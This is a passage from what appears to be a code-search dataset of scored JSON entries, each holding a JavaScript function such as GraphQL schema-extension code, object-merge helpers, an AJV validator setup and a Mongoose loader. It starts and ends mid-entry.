here.\n var extensions = typeExtensionsMap[type.name];\n if (extensions) {\n extensions.forEach(function (extension) {\n extension.fields.forEach(function (field) {\n var fieldName = field.name.value;\n if (oldFieldMap[fieldName]) {\n throw new _GraphQLError.GraphQLError('Field \"' + type.name + '.' + fieldName + '\" already exists in the ' + 'schema. It cannot also be defined in this type extension.', [field]);\n }\n newFieldMap[fieldName] = astBuilder.buildField(field);\n });\n });\n }\n\n return newFieldMap;\n }\n\n function extendFieldType(typeDef) {\n if ((0, _definition.isListType)(typeDef)) {\n return (0, _definition.GraphQLList)(extendFieldType(typeDef.ofType));\n }\n if ((0, _definition.isNonNullType)(typeDef)) {\n return (0, _definition.GraphQLNonNull)(extendFieldType(typeDef.ofType));\n }\n return getExtendedType(typeDef);\n }\n}", "title": "" }, { "docid": "dc6ac16c5d56d86fb6d920d2446b8873", "score": "0.4837815", "text": "function mergeStyles(s1, s2) {\n if (!s2) {\n return s1;\n }\n\n for (var url in s1) {\n\t\t// it's the new format\n\t\tif (s1[url]['_rules']) {\n\t\t\ts2[url] = s1[url];\n\t\t}\n\t\t// old format\n\t\telse {\n\t\t\ts2[url] = {};\n\t\t\ts2[url]['_rules'] = s1[url];\n\t\t}\n }\n return s2;\n}", "title": "" }, { "docid": "ae01c64e91f5df582588004d5a4068a9", "score": "0.47855014", "text": "function mergeConfig(c1, c2) {\n for (let k in c2) {\n if (isUndefined(c1[k])) {\n c1[k] = c2[k];\n }\n }\n return c1;\n}", "title": "" }, { "docid": "ed85f538386ed1e5b9972f4e1e1f5302", "score": "0.47340152", "text": "function mergeRecursive(obj1, obj2) {\n\t\t for (var p in obj2) {\n\t\t try { // Property in destination object set; update its value.\n\t\t if ( obj2[p].constructor==Object ) {\n\t\t obj1[p] = mergeRecursive(obj1[p], obj2[p])\n\t\t } else if ( Array.isArray(obj2[p]) ) {\n\t\t\t\tif(Array.isArray(obj1[p])) { // both are arrays: concatenating...\n\t\t\t obj1[p] = obj1[p].concat(obj2[p])\n\t\t\t\t} else if(!obj1[p]) { // source does not exist, creating it...\n\t\t\t obj1[p] = obj2[p]\n\t\t\t\t} else { // source is not array and target is array: problem: do nothing\n\t\t\t\t console.log('Storyrevealer::init::mergeRecursive: warning non matching objects types', p)\n\t\t\t\t}\n\t\t\t } else{\n\t\t if (!obj1[p]) {\n obj1[p] = obj2[p];\n }\n\t\t }\n\t\t } catch(e) { // Property in destination object not set; create it and set its value.\n\t\t if (!obj1[p]) {\n obj1[p] = obj2[p];\n }\n\t\t }\n\t\t }\n\t\t return obj1;\n\t\t}", "title": "" }, { "docid": "6bf7a1ce658195e5bc7928d08cf8c193", "score": "0.47196612", "text": "constructor(newSchemas = []) {\n this._validator = new AJV({ schemaId: 'auto' });\n this._validator.addSchema(values(schemas_1.schemas).filter(s => s !== undefined && s.id !== undefined));\n this._validator.addSchema(newSchemas.filter(s => s !== undefined));\n }", "title": "" }, { "docid": "f29ae09ecd8d4dec868632f9bfcc47aa", "score": "0.471536", "text": "function extendSchema(schema, documentAST) {\n\t (0, _invariant2.default)(schema instanceof _schema.GraphQLSchema, 'Must provide valid GraphQLSchema');\n\n\t (0, _invariant2.default)(documentAST && documentAST.kind === Kind.DOCUMENT, 'Must provide valid Document AST');\n\n\t // Collect the type definitions and extensions found in the document.\n\t var typeDefinitionMap = Object.create(null);\n\t var typeExtensionsMap = Object.create(null);\n\n\t // New directives and types are separate because a directives and types can\n\t // have the same name. For example, a type named \"skip\".\n\t var directiveDefinitions = [];\n\n\t for (var i = 0; i < documentAST.definitions.length; i++) {\n\t var def = documentAST.definitions[i];\n\t switch (def.kind) {\n\t case Kind.OBJECT_TYPE_DEFINITION:\n\t case Kind.INTERFACE_TYPE_DEFINITION:\n\t case Kind.ENUM_TYPE_DEFINITION:\n\t case Kind.UNION_TYPE_DEFINITION:\n\t case Kind.SCALAR_TYPE_DEFINITION:\n\t case Kind.INPUT_OBJECT_TYPE_DEFINITION:\n\t // Sanity check that none of the defined types conflict with the\n\t // schema's existing types.\n\t var typeName = def.name.value;\n\t if (schema.getType(typeName)) {\n\t throw new _GraphQLError.GraphQLError('Type \"' + typeName + '\" already exists in the schema. It cannot also ' + 'be defined in this type definition.', [def]);\n\t }\n\t typeDefinitionMap[typeName] = def;\n\t break;\n\t case Kind.TYPE_EXTENSION_DEFINITION:\n\t // Sanity check that this type extension exists within the\n\t // schema's existing types.\n\t var extendedTypeName = def.definition.name.value;\n\t var existingType = schema.getType(extendedTypeName);\n\t if (!existingType) {\n\t throw new _GraphQLError.GraphQLError('Cannot extend type \"' + extendedTypeName + '\" because it does not ' + 'exist in the existing schema.', [def.definition]);\n\t }\n\t if (!(existingType instanceof _definition.GraphQLObjectType)) {\n\t throw new _GraphQLError.GraphQLError('Cannot extend non-object type \"' + extendedTypeName + '\".', [def.definition]);\n\t }\n\t var extensions = typeExtensionsMap[extendedTypeName];\n\t if (extensions) {\n\t extensions.push(def);\n\t } else {\n\t extensions = [def];\n\t }\n\t typeExtensionsMap[extendedTypeName] = extensions;\n\t break;\n\t case Kind.DIRECTIVE_DEFINITION:\n\t var directiveName = def.name.value;\n\t var existingDirective = schema.getDirective(directiveName);\n\t if (existingDirective) {\n\t throw new _GraphQLError.GraphQLError('Directive \"' + directiveName + '\" already exists in the schema. It ' + 'cannot be redefined.', [def]);\n\t }\n\t directiveDefinitions.push(def);\n\t break;\n\t }\n\t }\n\n\t // If this document contains no new types, extensions, or directives then\n\t // return the same unmodified GraphQLSchema instance.\n\t if (Object.keys(typeExtensionsMap).length === 0 && Object.keys(typeDefinitionMap).length === 0 && directiveDefinitions.length === 0) {\n\t return schema;\n\t }\n\n\t // A cache to use to store the actual GraphQLType definition objects by name.\n\t // Initialize to the GraphQL built in scalars and introspection types. All\n\t // functions below are inline so that this type def cache is within the scope\n\t // of the closure.\n\t var typeDefCache = {\n\t String: _scalars.GraphQLString,\n\t Int: _scalars.GraphQLInt,\n\t Float: _scalars.GraphQLFloat,\n\t Boolean: _scalars.GraphQLBoolean,\n\t ID: _scalars.GraphQLID,\n\t __Schema: _introspection.__Schema,\n\t __Directive: _introspection.__Directive,\n\t __DirectiveLocation: _introspection.__DirectiveLocation,\n\t __Type: _introspection.__Type,\n\t __Field: _introspection.__Field,\n\t __InputValue: _introspection.__InputValue,\n\t __EnumValue: _introspection.__EnumValue,\n\t __TypeKind: _introspection.__TypeKind\n\t };\n\n\t // Get the root Query, Mutation, and Subscription object types.\n\t var queryType = getTypeFromDef(schema.getQueryType());\n\n\t var existingMutationType = schema.getMutationType();\n\t var mutationType = existingMutationType ? getTypeFromDef(existingMutationType) : null;\n\n\t var existingSubscriptionType = schema.getSubscriptionType();\n\t var subscriptionType = existingSubscriptionType ? getTypeFromDef(existingSubscriptionType) : null;\n\n\t // Iterate through all types, getting the type definition for each, ensuring\n\t // that any type not directly referenced by a field will get created.\n\t var typeMap = schema.getTypeMap();\n\t var types = Object.keys(typeMap).map(function (typeName) {\n\t return getTypeFromDef(typeMap[typeName]);\n\t });\n\n\t // Do the same with new types, appending to the list of defined types.\n\t Object.keys(typeDefinitionMap).forEach(function (typeName) {\n\t types.push(getTypeFromAST(typeDefinitionMap[typeName]));\n\t });\n\n\t // Then produce and return a Schema with these types.\n\t return new _schema.GraphQLSchema({\n\t query: queryType,\n\t mutation: mutationType,\n\t subscription: subscriptionType,\n\t types: types,\n\t directives: getMergedDirectives()\n\t });\n\n\t // Below are functions used for producing this schema that have closed over\n\t // this scope and have access to the schema, cache, and newly defined types.\n\n\t function getMergedDirectives() {\n\t var existingDirectives = schema.getDirectives();\n\t (0, _invariant2.default)(existingDirectives, 'schema must have default directives');\n\n\t var newDirectives = directiveDefinitions.map(function (directiveNode) {\n\t return getDirective(directiveNode);\n\t });\n\t return existingDirectives.concat(newDirectives);\n\t }\n\n\t function getTypeFromDef(typeDef) {\n\t var type = _getNamedType(typeDef.name);\n\t (0, _invariant2.default)(type, 'Missing type from schema');\n\t return type;\n\t }\n\n\t function getTypeFromAST(node) {\n\t var type = _getNamedType(node.name.value);\n\t if (!type) {\n\t throw new _GraphQLError.GraphQLError('Unknown type: \"' + node.name.value + '\". Ensure that this type exists ' + 'either in the original schema, or is added in a type definition.', [node]);\n\t }\n\t return type;\n\t }\n\n\t function getObjectTypeFromAST(node) {\n\t var type = getTypeFromAST(node);\n\t (0, _invariant2.default)(type instanceof _definition.GraphQLObjectType, 'Must be Object type.');\n\t return type;\n\t }\n\n\t function getInterfaceTypeFromAST(node) {\n\t var type = getTypeFromAST(node);\n\t (0, _invariant2.default)(type instanceof _definition.GraphQLInterfaceType, 'Must be Interface type.');\n\t return type;\n\t }\n\n\t function getInputTypeFromAST(node) {\n\t return (0, _definition.assertInputType)(getTypeFromAST(node));\n\t }\n\n\t function getOutputTypeFromAST(node) {\n\t return (0, _definition.assertOutputType)(getTypeFromAST(node));\n\t }\n\n\t // Given a name, returns a type from either the existing schema or an\n\t // added type.\n\t function _getNamedType(typeName) {\n\t var cachedTypeDef = typeDefCache[typeName];\n\t if (cachedTypeDef) {\n\t return cachedTypeDef;\n\t }\n\n\t var existingType = schema.getType(typeName);\n\t if (existingType) {\n\t var typeDef = extendType(existingType);\n\t typeDefCache[typeName] = typeDef;\n\t return typeDef;\n\t }\n\n\t var typeNode = typeDefinitionMap[typeName];\n\t if (typeNode) {\n\t var _typeDef = buildType(typeNode);\n\t typeDefCache[typeName] = _typeDef;\n\t return _typeDef;\n\t }\n\t }\n\n\t // Given a type's introspection result, construct the correct\n\t // GraphQLType instance.\n\t function extendType(type) {\n\t if (type instanceof _definition.GraphQLObjectType) {\n\t return extendObjectType(type);\n\t }\n\t if (type instanceof _definition.GraphQLInterfaceType) {\n\t return extendInterfaceType(type);\n\t }\n\t if (type instanceof _definition.GraphQLUnionType) {\n\t return extendUnionType(type);\n\t }\n\t return type;\n\t }\n\n\t function extendObjectType(type) {\n\t return new _definition.GraphQLObjectType({\n\t name: type.name,\n\t description: type.description,\n\t interfaces: function interfaces() {\n\t return extendImplementedInterfaces(type);\n\t },\n\t fields: function fields() {\n\t return extendFieldMap(type);\n\t },\n\t isTypeOf: type.isTypeOf\n\t });\n\t }\n\n\t function extendInterfaceType(type) {\n\t return new _definition.GraphQLInterfaceType({\n\t name: type.name,\n\t description: type.description,\n\t fields: function fields() {\n\t return extendFieldMap(type);\n\t },\n\t resolveType: type.resolveType\n\t });\n\t }\n\n\t function extendUnionType(type) {\n\t return new _definition.GraphQLUnionType({\n\t name: type.name,\n\t description: type.description,\n\t types: type.getTypes().map(getTypeFromDef),\n\t resolveType: type.resolveType\n\t });\n\t }\n\n\t function extendImplementedInterfaces(type) {\n\t var interfaces = type.getInterfaces().map(getTypeFromDef);\n\n\t // If there are any extensions to the interfaces, apply those here.\n\t var extensions = typeExtensionsMap[type.name];\n\t if (extensions) {\n\t extensions.forEach(function (extension) {\n\t extension.definition.interfaces.forEach(function (namedType) {\n\t var interfaceName = namedType.name.value;\n\t if (interfaces.some(function (def) {\n\t return def.name === interfaceName;\n\t })) {\n\t throw new _GraphQLError.GraphQLError('Type \"' + type.name + '\" already implements \"' + interfaceName + '\". ' + 'It cannot also be implemented in this type extension.', [namedType]);\n\t }\n\t interfaces.push(getInterfaceTypeFromAST(namedType));\n\t });\n\t });\n\t }\n\n\t return interfaces;\n\t }\n\n\t function extendFieldMap(type) {\n\t var newFieldMap = Object.create(null);\n\t var oldFieldMap = type.getFields();\n\t Object.keys(oldFieldMap).forEach(function (fieldName) {\n\t var field = oldFieldMap[fieldName];\n\t newFieldMap[fieldName] = {\n\t description: field.description,\n\t deprecationReason: field.deprecationReason,\n\t type: extendFieldType(field.type),\n\t args: (0, _keyMap2.default)(field.args, function (arg) {\n\t return arg.name;\n\t }),\n\t resolve: field.resolve\n\t };\n\t });\n\n\t // If there are any extensions to the fields, apply those here.\n\t var extensions = typeExtensionsMap[type.name];\n\t if (extensions) {\n\t extensions.forEach(function (extension) {\n\t extension.definition.fields.forEach(function (field) {\n\t var fieldName = field.name.value;\n\t if (oldFieldMap[fieldName]) {\n\t throw new _GraphQLError.GraphQLError('Field \"' + type.name + '.' + fieldName + '\" already exists in the ' + 'schema. It cannot also be defined in this type extension.', [field]);\n\t }\n\t newFieldMap[fieldName] = {\n\t description: (0, _buildASTSchema.getDescription)(field),\n\t type: buildOutputFieldType(field.type),\n\t args: buildInputValues(field.arguments),\n\t deprecationReason: (0, _buildASTSchema.getDeprecationReason)(field)\n\t };\n\t });\n\t });\n\t }\n\n\t return newFieldMap;\n\t }\n\n\t function extendFieldType(typeDef) {\n\t if (typeDef instanceof _definition.GraphQLList) {\n\t return new _definition.GraphQLList(extendFieldType(typeDef.ofType));\n\t }\n\t if (typeDef instanceof _definition.GraphQLNonNull) {\n\t return new _definition.GraphQLNonNull(extendFieldType(typeDef.ofType));\n\t }\n\t return getTypeFromDef(typeDef);\n\t }\n\n\t function buildType(typeNode) {\n\t switch (typeNode.kind) {\n\t case Kind.OBJECT_TYPE_DEFINITION:\n\t return buildObjectType(typeNode);\n\t case Kind.INTERFACE_TYPE_DEFINITION:\n\t return buildInterfaceType(typeNode);\n\t case Kind.UNION_TYPE_DEFINITION:\n\t return buildUnionType(typeNode);\n\t case Kind.SCALAR_TYPE_DEFINITION:\n\t return buildScalarType(typeNode);\n\t case Kind.ENUM_TYPE_DEFINITION:\n\t return buildEnumType(typeNode);\n\t case Kind.INPUT_OBJECT_TYPE_DEFINITION:\n\t return buildInputObjectType(typeNode);\n\t }\n\t throw new TypeError('Unknown type kind ' + typeNode.kind);\n\t }\n\n\t function buildObjectType(typeNode) {\n\t return new _definition.GraphQLObjectType({\n\t name: typeNode.name.value,\n\t description: (0, _buildASTSchema.getDescription)(typeNode),\n\t interfaces: function interfaces() {\n\t return buildImplementedInterfaces(typeNode);\n\t },\n\t fields: function fields() {\n\t return buildFieldMap(typeNode);\n\t }\n\t });\n\t }\n\n\t function buildInterfaceType(typeNode) {\n\t return new _definition.GraphQLInterfaceType({\n\t name: typeNode.name.value,\n\t description: (0, _buildASTSchema.getDescription)(typeNode),\n\t fields: function fields() {\n\t return buildFieldMap(typeNode);\n\t },\n\t resolveType: cannotExecuteExtendedSchema\n\t });\n\t }\n\n\t function buildUnionType(typeNode) {\n\t return new _definition.GraphQLUnionType({\n\t name: typeNode.name.value,\n\t description: (0, _buildASTSchema.getDescription)(typeNode),\n\t types: typeNode.types.map(getObjectTypeFromAST),\n\t resolveType: cannotExecuteExtendedSchema\n\t });\n\t }\n\n\t function buildScalarType(typeNode) {\n\t return new _definition.GraphQLScalarType({\n\t name: typeNode.name.value,\n\t description: (0, _buildASTSchema.getDescription)(typeNode),\n\t serialize: function serialize(id) {\n\t return id;\n\t },\n\t // Note: validation calls the parse functions to determine if a\n\t // literal value is correct. Returning null would cause use of custom\n\t // scalars to always fail validation. Returning false causes them to\n\t // always pass validation.\n\t parseValue: function parseValue() {\n\t return false;\n\t },\n\t parseLiteral: function parseLiteral() {\n\t return false;\n\t }\n\t });\n\t }\n\n\t function buildEnumType(typeNode) {\n\t return new _definition.GraphQLEnumType({\n\t name: typeNode.name.value,\n\t description: (0, _buildASTSchema.getDescription)(typeNode),\n\t values: (0, _keyValMap2.default)(typeNode.values, function (enumValue) {\n\t return enumValue.name.value;\n\t }, function (enumValue) {\n\t return {\n\t description: (0, _buildASTSchema.getDescription)(enumValue),\n\t deprecationReason: (0, _buildASTSchema.getDeprecationReason)(enumValue)\n\t };\n\t })\n\t });\n\t }\n\n\t function buildInputObjectType(typeNode) {\n\t return new _definition.GraphQLInputObjectType({\n\t name: typeNode.name.value,\n\t description: (0, _buildASTSchema.getDescription)(typeNode),\n\t fields: function fields() {\n\t return buildInputValues(typeNode.fields);\n\t }\n\t });\n\t }\n\n\t function getDirective(directiveNode) {\n\t return new _directives.GraphQLDirective({\n\t name: directiveNode.name.value,\n\t locations: directiveNode.locations.map(function (node) {\n\t return node.value;\n\t }),\n\t args: directiveNode.arguments && buildInputValues(directiveNode.arguments)\n\t });\n\t }\n\n\t function buildImplementedInterfaces(typeNode) {\n\t return typeNode.interfaces && typeNode.interfaces.map(getInterfaceTypeFromAST);\n\t }\n\n\t function buildFieldMap(typeNode) {\n\t return (0, _keyValMap2.default)(typeNode.fields, function (field) {\n\t return field.name.value;\n\t }, function (field) {\n\t return {\n\t type: buildOutputFieldType(field.type),\n\t description: (0, _buildASTSchema.getDescription)(field),\n\t args: buildInputValues(field.arguments),\n\t deprecationReason: (0, _buildASTSchema.getDeprecationReason)(field)\n\t };\n\t });\n\t }\n\n\t function buildInputValues(values) {\n\t return (0, _keyValMap2.default)(values, function (value) {\n\t return value.name.value;\n\t }, function (value) {\n\t var type = buildInputFieldType(value.type);\n\t return {\n\t type: type,\n\t description: (0, _buildASTSchema.getDescription)(value),\n\t defaultValue: (0, _valueFromAST.valueFromAST)(value.defaultValue, type)\n\t };\n\t });\n\t }\n\n\t function buildInputFieldType(typeNode) {\n\t if (typeNode.kind === Kind.LIST_TYPE) {\n\t return new _definition.GraphQLList(buildInputFieldType(typeNode.type));\n\t }\n\t if (typeNode.kind === Kind.NON_NULL_TYPE) {\n\t var nullableType = buildInputFieldType(typeNode.type);\n\t (0, _invariant2.default)(!(nullableType instanceof _definition.GraphQLNonNull), 'Must be nullable');\n\t return new _definition.GraphQLNonNull(nullableType);\n\t }\n\t return getInputTypeFromAST(typeNode);\n\t }\n\n\t function buildOutputFieldType(typeNode) {\n\t if (typeNode.kind === Kind.LIST_TYPE) {\n\t return new _definition.GraphQLList(buildOutputFieldType(typeNode.type));\n\t }\n\t if (typeNode.kind === Kind.NON_NULL_TYPE) {\n\t var nullableType = buildOutputFieldType(typeNode.type);\n\t (0, _invariant2.default)(!(nullableType instanceof _definition.GraphQLNonNull), 'Must be nullable');\n\t return new _definition.GraphQLNonNull(nullableType);\n\t }\n\t return getOutputTypeFromAST(typeNode);\n\t }\n\t}", "title": "" }, { "docid": "f2f9961f90acc84545765404a91d83d9", "score": "0.47066635", "text": "function registerSchemas() {\r\n let schemas = [{template: '#img-template', selector: '.img-box', properties: ['geometry', 'position', 'rotation', 'scale', \"material\"]},\r\n {template: '#obj-template', selector: '.obj-model-test', properties: ['position', 'rotation', 'scale', 'obj-model']},\r\n {template: '#vid-template', selector: '.vid-box', properties: ['position', 'rotation', 'scale', \"material\"]}] \r\n\r\n //This builds schemas dynamically based on the list above. Check NAF github or NPM docs for more details on what this looks like unrolled\r\n schemas.forEach((schema) => {\r\n let components = schema.properties.map((property) => {\r\n return {\r\n selector: schema.selector,\r\n component: property\r\n }\r\n })\r\n\r\n window.NAF.schemas.add({\r\n template: schema.template,\r\n components: components.concat(['position', 'rotation', 'scale'])\r\n })\r\n })\r\n}", "title": "" }, { "docid": "4a6d065c46dc4ad03e8bc4e03d5406d6", "score": "0.47026902", "text": "function merge(obj1, obj2) {\n\tfor (var key in obj2) {\n\t\tobj1[key] = obj2[key];\n\t}\n\treturn obj1;\n}", "title": "" }, { "docid": "262c188e4f18dd5c21fedc4588fd2b43", "score": "0.46985942", "text": "function merge(original, updates) {\n return mergeWithOptions(original, updates);\n }", "title": "" }, { "docid": "83d37c10129d7d2d97f58174179cb578", "score": "0.46794203", "text": "function externalApi(input1orig, input2orig, originalOpts) {\n if (!arguments.length) {\n throw new TypeError(\"object-merge-advanced/mergeAdvanced(): [THROW_ID_01] Both inputs are missing\");\n } // notice we have first argument tracking the current path, which is not\n // exposed to the external API.\n return mergeAdvanced({\n key: null,\n path: \"\",\n type: [getType(input1orig), getType(input2orig)]\n }, input1orig, input2orig, originalOpts);\n}", "title": "" }, { "docid": "466862cbf1ad7d04296b1c25b61bde26", "score": "0.46742883", "text": "function mergeWith(obj1, obj2) {\n\tfor (let prop in obj1) {\n\t\tif (obj1.hasOwnProperty(prop)) {\n\t\t\tobj1[prop].push(...obj2[prop])\n\t\t}\n\t}\n\treturn obj1;\n}", "title": "" }, { "docid": "f2a6f8511accd1430a3dd967fb2d3b55", "score": "0.46610644", "text": "static async load(sources) {\r\n await MongooseLoader.loadSchemas(sources[0]);\r\n\r\n return await MongooseLoader.loadModels(sources[1]);\r\n }", "title": "" }, { "docid": "a8472886aa2ef36effdc08b15620217f", "score": "0.46544036", "text": "function extendSchema(schema, documentAST, options) {\n (0, _schema.assertSchema)(schema);\n !(documentAST && documentAST.kind === _kinds.Kind.DOCUMENT) ? (0, _invariant.default)(0, 'Must provide valid Document AST') : void 0;\n\n if (!options || !(options.assumeValid || options.assumeValidSDL)) {\n (0, _validate.assertValidSDLExtension)(documentAST, schema);\n } // Collect the type definitions and extensions found in the document.\n\n\n var typeDefinitionMap = Object.create(null);\n var typeExtensionsMap = Object.create(null); // New directives and types are separate because a directives and types can\n // have the same name. For example, a type named \"skip\".\n\n var directiveDefinitions = [];\n var schemaDef; // Schema extensions are collected which may add additional operation types.\n\n var schemaExtensions = [];\n var _iteratorNormalCompletion = true;\n var _didIteratorError = false;\n var _iteratorError = undefined;\n\n try {\n for (var _iterator = documentAST.definitions[Symbol.iterator](), _step; !(_iteratorNormalCompletion = (_step = _iterator.next()).done); _iteratorNormalCompletion = true) {\n var def = _step.value;\n\n if (def.kind === _kinds.Kind.SCHEMA_DEFINITION) {\n schemaDef = def;\n } else if (def.kind === _kinds.Kind.SCHEMA_EXTENSION) {\n schemaExtensions.push(def);\n } else if ((0, _predicates.isTypeDefinitionNode)(def)) {\n var typeName = def.name.value;\n typeDefinitionMap[typeName] = def;\n } else if ((0, _predicates.isTypeExtensionNode)(def)) {\n var extendedTypeName = def.name.value;\n var existingTypeExtensions = typeExtensionsMap[extendedTypeName];\n typeExtensionsMap[extendedTypeName] = existingTypeExtensions ? existingTypeExtensions.concat([def]) : [def];\n } else if (def.kind === _kinds.Kind.DIRECTIVE_DEFINITION) {\n directiveDefinitions.push(def);\n }\n } // If this document contains no new types, extensions, or directives then\n // return the same unmodified GraphQLSchema instance.\n\n } catch (err) {\n _didIteratorError = true;\n _iteratorError = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion && _iterator.return != null) {\n _iterator.return();\n }\n } finally {\n if (_didIteratorError) {\n throw _iteratorError;\n }\n }\n }\n\n if (Object.keys(typeExtensionsMap).length === 0 && Object.keys(typeDefinitionMap).length === 0 && directiveDefinitions.length === 0 && schemaExtensions.length === 0 && !schemaDef) {\n return schema;\n }\n\n var astBuilder = new _buildASTSchema.ASTDefinitionBuilder(typeDefinitionMap, options, function (typeName) {\n var existingType = schema.getType(typeName);\n !existingType ? (0, _invariant.default)(0, \"Unknown type: \\\"\".concat(typeName, \"\\\".\")) : void 0;\n return extendNamedType(existingType);\n });\n var extendTypeCache = Object.create(null); // Get the extended root operation types.\n\n var operationTypes = {\n query: extendMaybeNamedType(schema.getQueryType()),\n mutation: extendMaybeNamedType(schema.getMutationType()),\n subscription: extendMaybeNamedType(schema.getSubscriptionType())\n };\n\n if (schemaDef) {\n var _iteratorNormalCompletion2 = true;\n var _didIteratorError2 = false;\n var _iteratorError2 = undefined;\n\n try {\n for (var _iterator2 = schemaDef.operationTypes[Symbol.iterator](), _step2; !(_iteratorNormalCompletion2 = (_step2 = _iterator2.next()).done); _iteratorNormalCompletion2 = true) {\n var _ref2 = _step2.value;\n var operation = _ref2.operation;\n var type = _ref2.type;\n // Note: While this could make early assertions to get the correctly\n // typed values, that would throw immediately while type system\n // validation with validateSchema() will produce more actionable results.\n operationTypes[operation] = astBuilder.buildType(type);\n }\n } catch (err) {\n _didIteratorError2 = true;\n _iteratorError2 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion2 && _iterator2.return != null) {\n _iterator2.return();\n }\n } finally {\n if (_didIteratorError2) {\n throw _iteratorError2;\n }\n }\n }\n } // Then, incorporate schema definition and all schema extensions.\n\n\n for (var _i = 0; _i < schemaExtensions.length; _i++) {\n var schemaExtension = schemaExtensions[_i];\n\n if (schemaExtension.operationTypes) {\n var _iteratorNormalCompletion14 = true;\n var _didIteratorError14 = false;\n var _iteratorError14 = undefined;\n\n try {\n for (var _iterator14 = schemaExtension.operationTypes[Symbol.iterator](), _step14; !(_iteratorNormalCompletion14 = (_step14 = _iterator14.next()).done); _iteratorNormalCompletion14 = true) {\n var _ref4 = _step14.value;\n var _operation = _ref4.operation;\n var _type = _ref4.type;\n // Note: While this could make early assertions to get the correctly\n // typed values, that would throw immediately while type system\n // validation with validateSchema() will produce more actionable results.\n operationTypes[_operation] = astBuilder.buildType(_type);\n }\n } catch (err) {\n _didIteratorError14 = true;\n _iteratorError14 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion14 && _iterator14.return != null) {\n _iterator14.return();\n }\n } finally {\n if (_didIteratorError14) {\n throw _iteratorError14;\n }\n }\n }\n }\n }\n\n var schemaExtensionASTNodes = schemaExtensions ? schema.extensionASTNodes ? schema.extensionASTNodes.concat(schemaExtensions) : schemaExtensions : schema.extensionASTNodes;\n var types = [].concat((0, _objectValues.default)(schema.getTypeMap()).map(function (type) {\n return extendNamedType(type);\n }), (0, _objectValues.default)(typeDefinitionMap).map(function (type) {\n return astBuilder.buildType(type);\n })); // Support both original legacy names and extended legacy names.\n\n var allowedLegacyNames = schema.__allowedLegacyNames.concat(options && options.allowedLegacyNames || []); // Then produce and return a Schema with these types.\n\n\n return new _schema.GraphQLSchema(_objectSpread({}, operationTypes, {\n types: types,\n directives: getMergedDirectives(),\n astNode: schema.astNode,\n extensionASTNodes: schemaExtensionASTNodes,\n allowedLegacyNames: allowedLegacyNames\n })); // Below are functions used for producing this schema that have closed over\n // this scope and have access to the schema, cache, and newly defined types.\n\n function getMergedDirectives() {\n var existingDirectives = schema.getDirectives().map(extendDirective);\n !existingDirectives ? (0, _invariant.default)(0, 'schema must have default directives') : void 0;\n return existingDirectives.concat(directiveDefinitions.map(function (node) {\n return astBuilder.buildDirective(node);\n }));\n }\n\n function extendMaybeNamedType(type) {\n return type ? extendNamedType(type) : null;\n }\n\n function extendNamedType(type) {\n if ((0, _introspection.isIntrospectionType)(type) || (0, _scalars.isSpecifiedScalarType)(type)) {\n // Builtin types are not extended.\n return type;\n }\n\n var name = type.name;\n\n if (!extendTypeCache[name]) {\n if ((0, _definition.isScalarType)(type)) {\n extendTypeCache[name] = extendScalarType(type);\n } else if ((0, _definition.isObjectType)(type)) {\n extendTypeCache[name] = extendObjectType(type);\n } else if ((0, _definition.isInterfaceType)(type)) {\n extendTypeCache[name] = extendInterfaceType(type);\n } else if ((0, _definition.isUnionType)(type)) {\n extendTypeCache[name] = extendUnionType(type);\n } else if ((0, _definition.isEnumType)(type)) {\n extendTypeCache[name] = extendEnumType(type);\n } else if ((0, _definition.isInputObjectType)(type)) {\n extendTypeCache[name] = extendInputObjectType(type);\n }\n }\n\n return extendTypeCache[name];\n }\n\n function extendDirective(directive) {\n return new _directives.GraphQLDirective({\n name: directive.name,\n description: directive.description,\n locations: directive.locations,\n args: extendArgs(directive.args),\n astNode: directive.astNode\n });\n }\n\n function extendInputObjectType(type) {\n var name = type.name;\n var extensionASTNodes = typeExtensionsMap[name] ? type.extensionASTNodes ? type.extensionASTNodes.concat(typeExtensionsMap[name]) : typeExtensionsMap[name] : type.extensionASTNodes;\n return new _definition.GraphQLInputObjectType({\n name: name,\n description: type.description,\n fields: function fields() {\n return extendInputFieldMap(type);\n },\n astNode: type.astNode,\n extensionASTNodes: extensionASTNodes\n });\n }\n\n function extendInputFieldMap(type) {\n var newFieldMap = (0, _mapValue.default)(type.getFields(), function (field) {\n return {\n description: field.description,\n type: extendType(field.type),\n defaultValue: field.defaultValue,\n astNode: field.astNode\n };\n }); // If there are any extensions to the fields, apply those here.\n\n var extensions = typeExtensionsMap[type.name];\n\n if (extensions) {\n var _iteratorNormalCompletion3 = true;\n var _didIteratorError3 = false;\n var _iteratorError3 = undefined;\n\n try {\n for (var _iterator3 = extensions[Symbol.iterator](), _step3; !(_iteratorNormalCompletion3 = (_step3 = _iterator3.next()).done); _iteratorNormalCompletion3 = true) {\n var extension = _step3.value;\n var _iteratorNormalCompletion4 = true;\n var _didIteratorError4 = false;\n var _iteratorError4 = undefined;\n\n try {\n for (var _iterator4 = extension.fields[Symbol.iterator](), _step4; !(_iteratorNormalCompletion4 = (_step4 = _iterator4.next()).done); _iteratorNormalCompletion4 = true) {\n var field = _step4.value;\n newFieldMap[field.name.value] = astBuilder.buildInputField(field);\n }\n } catch (err) {\n _didIteratorError4 = true;\n _iteratorError4 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion4 && _iterator4.return != null) {\n _iterator4.return();\n }\n } finally {\n if (_didIteratorError4) {\n throw _iteratorError4;\n }\n }\n }\n }\n } catch (err) {\n _didIteratorError3 = true;\n _iteratorError3 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion3 && _iterator3.return != null) {\n _iterator3.return();\n }\n } finally {\n if (_didIteratorError3) {\n throw _iteratorError3;\n }\n }\n }\n }\n\n return newFieldMap;\n }\n\n function extendEnumType(type) {\n var name = type.name;\n var extensionASTNodes = typeExtensionsMap[name] ? type.extensionASTNodes ? type.extensionASTNodes.concat(typeExtensionsMap[name]) : typeExtensionsMap[name] : type.extensionASTNodes;\n return new _definition.GraphQLEnumType({\n name: name,\n description: type.description,\n values: extendValueMap(type),\n astNode: type.astNode,\n extensionASTNodes: extensionASTNodes\n });\n }\n\n function extendValueMap(type) {\n var newValueMap = Object.create(null);\n var _iteratorNormalCompletion5 = true;\n var _didIteratorError5 = false;\n var _iteratorError5 = undefined;\n\n try {\n for (var _iterator5 = type.getValues()[Symbol.iterator](), _step5; !(_iteratorNormalCompletion5 = (_step5 = _iterator5.next()).done); _iteratorNormalCompletion5 = true) {\n var _value = _step5.value;\n newValueMap[_value.name] = 